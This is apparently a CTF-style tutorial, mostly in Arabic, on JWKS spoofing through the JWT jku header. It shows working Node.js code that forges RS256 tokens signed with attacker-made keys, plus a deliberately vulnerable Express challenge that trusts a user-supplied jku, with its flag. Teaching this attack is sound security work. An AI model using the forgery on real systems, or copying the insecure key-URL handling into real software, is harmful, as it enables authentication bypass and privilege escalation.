Agenda:
- What's JWK & JWKS?
- jku Header
- JWKS Spoofing Attack (Blackbox Approach)
- Challenge (Whitebox Approach)
What's JWKS?:
JSON Web Key
: is A JSON object that represents a cryptographic key. The members of the object represent properties of the key, including its value. According to Auth0.
وبعض المعلومات عنه على شكل Public Key بكل إختصار هو قيمة الـ
JSON Object
وراح نشوف قدام بإذن الله كيف ممكن نسويه.
1
2
3
4
5
6
7
{
"kty": "RSA",
"use": "sig",
"n": "ANWDaBd-KOJMNL271ZSmIDnpdpsuOVAMESW12HVTiObbRfEF8sFL355nWAzhNsYH4Goh-d1_q07ih86-pjS7fmxxAtGbkk89cMbJR0-fxsHUEKVjC6aMIyOFR16nJbD-tO9_LWnpaZQsSA1khrAvVZxHiv_J6HYI8em15E9vuO4hyzy6-CmkkF3k6kDlvklMlVcVtQRGS6c61jeiKOy2M6DRcOYj42eXjVKoKeqB4NLS0vyyS2VkrlO3qk0D0BdqfW6HuLK_H4hF_ajIJWZzhfibGfVIrGMiVm3mqPphYAmfhO1wKLGIYwKqhbluMHd8-sMbk1rCwnmvhdYlz87t78WlSxIRRmHPegZa4V4H7yI9yQoIykcb_GL9NqQlYDcFtXcC1QZ1ny9LWskCNOursjIXqWGB-QSE_yqgWWOae2Kc8gte4pylEnu7Nc840l__0tt0bxrbiRApFcsYhPz5Z6xJAErk9Yil2Y62eciWSuivvEs00nHDVzofX2D1NwWr-DM_WaifKDEgsu_iPst6D-QHHlAkpqwCOchC8sGeI71YJryCtK6bZ0kko-iHoX3INxt2Kkf3uljuPZwopXKymGcKn3P0isnTwmVbkCo788DVyBOLKz5J2osec0ezbxbVO6zHd6q-ejDbz5DKAVUMh9Q1l_5Yme3nPym5bzvCCeGr",
"e": "AQAB"
}
JSON Web Key Set (JWKS)
is a set of keys containing the public keys used to verify any JSON Web Token (JWT) issued by the authorization server and signed using the RS256 signing algorithm. According to Auth0.
Array أو أكثر محطوطين بـ JSON Web Key (JWK) عبارة عن JWKS الـ
1
2
3
4
5
6
7
8
9
10
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"n": "ANWBd-KOJMNL271ZAMESW12HVTiObbRfEF8sFL355nWAzhNsYH4Goh-d1_q07ih86-pjS7fmxxAtGbkk89cMbJR0-fxsHUEKVjC6aMIyOFR16nJbD-tO9_LWnpaZQsSA1khr9vuO4hyzy6-CmkkF3k6kDlvklMlVcVtQRGS6c61jeiKOy2M6DRcOYj42eXjVKoKeqB4NLS0vyyS2VkrlO3qk0D0BdqfW6HuLK_H4hF_ajIJWZzhfPphYAmfhO1wKLGIYwKqhbluMHd8-sMbk1rCwnmvhdYlz87t78WlSxIRRmHPegZa4V4H7yI9DcFtXcC1QZ1ny9LWskCNOursjIXqWGB-QSE_yqgWWOae2Kc8gte4pylEnu7Nc840l__0tt0bxrbiRApFcsYhPz5Z6xJAErk9Yil2Y62eciWSuivvEs00nHDVzof-DM_WaifKDEgsu_iPst6D-QHHlAkpqwCOchC8sGeI71YJryCtK6bZ0kko-iHoX3INxt2Kkf3uljuPZwopXKymGcKnVyBOLKz5J2osec0ezbxbVO6zHd6q-ejDbz5DKAVUMh9Q1l_5Yme3vCCeGr",
"e": "AQAB"
}
]
}
jku Header:
jku
is a JSON Web Key (JWK) Set URL. A URI pointing to a set of JSON-encoded public keys used to sign verify JWT.
JWT لهذا الـ Verify الله لايهينك سو Backend Server بإختصار سلمكم الله هذا يقول يا
اللي بهالرابط JWKS الموجود بالـ JWK عن طريق الـ
Backend Server مثل مانشوف فالصورة الـ
من JWKراح ياخذ الـ Verify عشان يسوي
http://localhost:3000/.well-known/jwks.json
JWKS Spoofing Attack (Blackbox Approach):
.جاء وقت إننا نعرف كيف ممكن نستغل هالشي JWK, JWKS, jku Header طيب بعد ماعرفنا إيش الـ
الغلط الكبير اللي ممكن يوقع فيه المبرمج في مثل هالحالة
User Input عن طريق الـ jku هو إنه ياخذ قيمة الـ
فهنا مالنا غير التجربة Blackbox approach طبعا بما أننا قررنا نبدأ
jkuلأننا ماندري المبرمج كيف قاعد ياخذ قيمة الـ
Exploitation:
- بالفورمات المناسب Private/Public keys أول خطوة نروح للسيرفر الخاص فينا ونسوي
ssh-keygen -t rsa -b 4096 -m PEM -f id_rsa
openssl rsa -in id_rsa -pubout -outform PEM -out id_rsa.pub
- وراح أشرح طريقتين لعمل هالشي JWKS بعدين الـ JWK الخطوة الثانية نسوي الـ
- rsa-pem-to-jwk library الطريقة الأولى بإستخدام
1
2
3
4
5
6
7
8
const fs = require('fs')
const jwk = require('rsa-pem-to-jwk')
const privateKey = fs.readFileSync(__dirname +'/keys/id_rsa'); //Private_Key Path
const jwk = jwk(privateKey, {use: 'sig'}, 'public')
console.log(jwk)
الناتج راح يكون زي ماشفنا في بداية اﻵرتكل
بعدها كل اللي علينا ناخذ الناتج هذا
1
2
3
4
5
6
{
kty: 'RSA',
use: 'sig',
n: 'ANWBd-KOJMNL271ZAMESW12HVTiObbRfEF8sFL355nWAzhNsYH4Goh-d1_q07ih86-pjS7fmxxAtGbkk89cMbJR0-fxsHUEKVjC6aMIyOFR16nJbD-tO9_LWnpaZQsSA1khr9vuO4hyzy6-CmkkF3k6kDlvklMlVcVtQRGS6c61jeiKOy2M6DRcOYj42eXjVKoKeqB4NLS0vyyS2VkrlO3qk0D0BdqfW6HuLK_H4hF_ajIJWZzhfPphYAmfhO1wKLGIYwKqhbluMHd8-sMbk1rCwnmvhdYlz87t78WlSxIRRmHPegZa4V4H7yI9DcFtXcC1QZ1ny9LWskCNOursjIXqWGB-QSE_yqgWWOae2Kc8gte4pylEnu7Nc840l__0tt0bxrbiRApFcsYhPz5Z6xJAErk9Yil2Y62eciWSuivvEs00nHDVzof-DM_WaifKDEgsu_iPst6D-QHHlAkpqwCOchC8sGeI71YJryCtK6bZ0kko-iHoX3INxt2Kkf3uljuPZwopXKymGcKnVyBOLKz5J2osec0ezbxbVO6zHd6q-ejDbz5DKAVUMh9Q1l_5Yme3vCCeGr',
e: 'AQAB'
}
Keys Array ونحطه بـ
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"n": "ANWBd-KOJMNL271ZAMESW12HVTiObbRfEF8sFL355nWAzhNsYH4Goh-d1_q07ih86-pjS7fmxxAtGbkk89cMbJR0-fxsHUEKVjC6aMIyOFR16nJbD-tO9_LWnpaZQsSA1khr9vuO4hyzy6-CmkkF3k6kDlvklMlVcVtQRGS6c61jeiKOy2M6DRcOYj42eXjVKoKeqB4NLS0vyyS2VkrlO3qk0D0BdqfW6HuLK_H4hF_ajIJWZzhfPphYAmfhO1wKLGIYwKqhbluMHd8-sMbk1rCwnmvhdYlz87t78WlSxIRRmHPegZa4V4H7yI9DcFtXcC1QZ1ny9LWskCNOursjIXqWGB-QSE_yqgWWOae2Kc8gte4pylEnu7Nc840l__0tt0bxrbiRApFcsYhPz5Z6xJAErk9Yil2Y62eciWSuivvEs00nHDVzof-DM_WaifKDEgsu_iPst6D-QHHlAkpqwCOchC8sGeI71YJryCtK6bZ0kko-iHoX3INxt2Kkf3uljuPZwopXKymGcKnVyBOLKz5J2osec0ezbxbVO6zHd6q-ejDbz5DKAVUMh9Q1l_5Yme3vCCeGr",
"e": "AQAB"
}
]
}
jwks.json ونحفظه بملف
.well-known بمجلد
as convention only طبعا المسميات هذي كلها
جاهز ومرفوع على سيرفرنا الخاصJWKS وبكذا صار عندنا الـ
http://localhost:3000/.well-known/jwks.json
الطريقة الثانية أسهل, عن طريق موقع
https://russelldavies.github.io/jwk-creator/
- JWT الخطوة الثالثة فالاتاك نسوي الـ
1
2
3
4
5
6
7
8
const fs = require('fs');
const JWT = require('jsonwebtoken');
const privateKey = fs.readFileSync(__dirname +'/keys/id_rsa');
const token = JWT.sign({username: 'Mesh3l_911'}, privateKey, {expiresIn: '10min', algorithm: 'RS256', header: {"jku": "http://localhost:3000/.well-known/jwks.json"}});
console.log(token);
jku الخاص فينا في مكان الـ JWKS لاحظوا حطينا رابط ملف الـ
النتيجة النهائية :
1
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC8ud2VsbC1rbm93bi9qd2tzLmpzb24ifQ.eyJ1c2VybmFtZSI6Ik1lc2gzbF85MTEiLCJpYXQiOjE2NDc2NTEyMDAsImV4cCI6MTY0NzY1MTgwMH0.VxnCgA6njojVDsOnLI-Oi8dgifUyqdIHBBBr5J9meB0TAIkBZhA6_1DSKtT62DLZ7U5aqfD_wAUiTyIBUHZrHFkuduuw6lM_nK95tsoFhkYAv4NmHijEXZUhvKAxDBlQDYLl1bcgyA_9LTK3NWf5ZW_X8yT2e5eZVM628hdGbp2y_MkQb7Nc5BV6fqh4CUUwiKL84vQ8V8FyPcLmx2SpLSu8qJORoDsELVA0eEKLMy1q0kAqP_fjN0qbc6fRGl5M1PmrVqHhpPwG6oHY1wMBekk3rQWfpLfQc4MLukxbtM529tDxF8spq7o_c1vUb40bdOtzTNg_kvqr6zIGfxUNGPLAh01FxvWItjaqfPfVQ6SrFB91iAP5mTDy3wV25-PQatOIykcXEm7jtDjZgQtKW4Lh2aTkWRiX3y7mdjOD-p-tBbqeGLuArS8mLa-SwN0JAcmrj4sbMg5XPaYzWEwZa8p5MOS-K8ay5zoeQ-mb10yqDpBGUV618yBLfjvFrNCFdl99166UIFvxLn8UmzPdJ1X1giabvK1vFQ3TYEwuX7ULYjQR98dIAchLSIl3xciEt52vekm-hQaCZAj5AW81SVUj9EaAJiUjE_DD0W_4vYX4LTEdaDkB5VdbIjIgu3-10V1UkvKhlO8HGw08X_yZCwHT9pl0lkmFenDUGmaygdA
jku header وبكذا إذا كان المبرمج غلطان وجالس ياخذ القيمة عن طريق الـ
JWK هنا راح ياخذ الرابط الخاص فينا اللي موجود فيه الـ
خاصة فينا Public/Private Keys اللي سويناه بإستخدام
Backend Server فالنتيجة هي إنه الـ
عن طريق الكيز الخاصة فينا JWT للـ Verify بيصير يسوي
لأنه أصلا السيرفر قاعد يتحقق عن طريق الكيز اللي سويناهاSigned ويكون JWT ويصير خلاص نقدر نعدل على الـ
على حسب السيناريو اللي عندك, على سبيل المثال JWT وبكذا خلاص تعدل الـ
role=admin
Challenge (Whitebox Approach):
بعد مافهمنا الآتاك الحين خلونا نشوف التحدي اللي سويته ونفهم كل شي عن طريق مراجعة الكود:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express');
const app = express();
const JWT = require('jsonwebtoken');
const jwt = require('express-jwt');
const jwksClient = require('jwks-rsa');
app.use((req, res, next) => {
if(!req.headers.authorization){next()}
const decodedToken = JWT.decode(req.headers.authorization.split(' ')[1]);
req.jku = decodedToken.jku
if(decodedToken.username === "Mesh3l_911"){
next()
}else{
res.send("You r not Mesh3l_911");
}
})
app.use((req, res, next) => jwt({
secret: jwksClient.expressJwtSecret({
jwksUri: req.jku
}),
algorithms: ['RS256'],
}).unless({path: ['/']})(req, res, next))
app.get('/', (req, res) => {
res.send('Welcome 2 my little chall, start from ( /source.zip ) & Enjoy ur time ^_^');
})
app.post('/flag', (req, res) => {
res.send("Great j0b ^_^, The Flag is: Mesh3l_911{Jwks_Sp00fing}");
})
app.listen(80, () => console.log('Listening on port 80'));
jku هنا لو نشوف السطر رقم 20 راح تلاحظون إني جالس أخذ قيمة الـ
Payload اللي راح تكون موجودة فالـ jku وهو قيمة الـ User Controlled Input عن طريق
jwksUri: req.jku
وليست بالهيدر ؟ Payload موجودة بالـ jku طيب ليش فالتحدي قيمة
Code Review أنا سويت كذا عشان أجبركم تسوون
jku وبكذا خلاص كل اللي علينا نسوي الإستغلال اللي شرحناه فوق بس الفرق الوحيد إن قيمة
Header وليست فالـ Payload راح تكون فالـ
وسلامتكم.
دعواتكم لي ولوالدي ومن أحب
Happy Hacking ^_^
References:
- https://auth0.com/docs/secure/tokens/json-web-tokens/json-web-key-sets
- https://assets.ctfassets.net/2ntc334xpx65/o5J4X472PQUI4ai6cAcqg/13a2611de03b2c8edbd09c3ca14ae86b/jwt-handbook-v0_14_1.pdf
- https://www.npmjs.com/package/jsonwebtoken
- https://www.npmjs.com/package/jwks-rsa
- https://www.npmjs.com/package/express-jwt
- https://www.npmjs.com/package/rsa-pem-to-jwk
- https://russelldavies.github.io/jwk-creator/
- https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens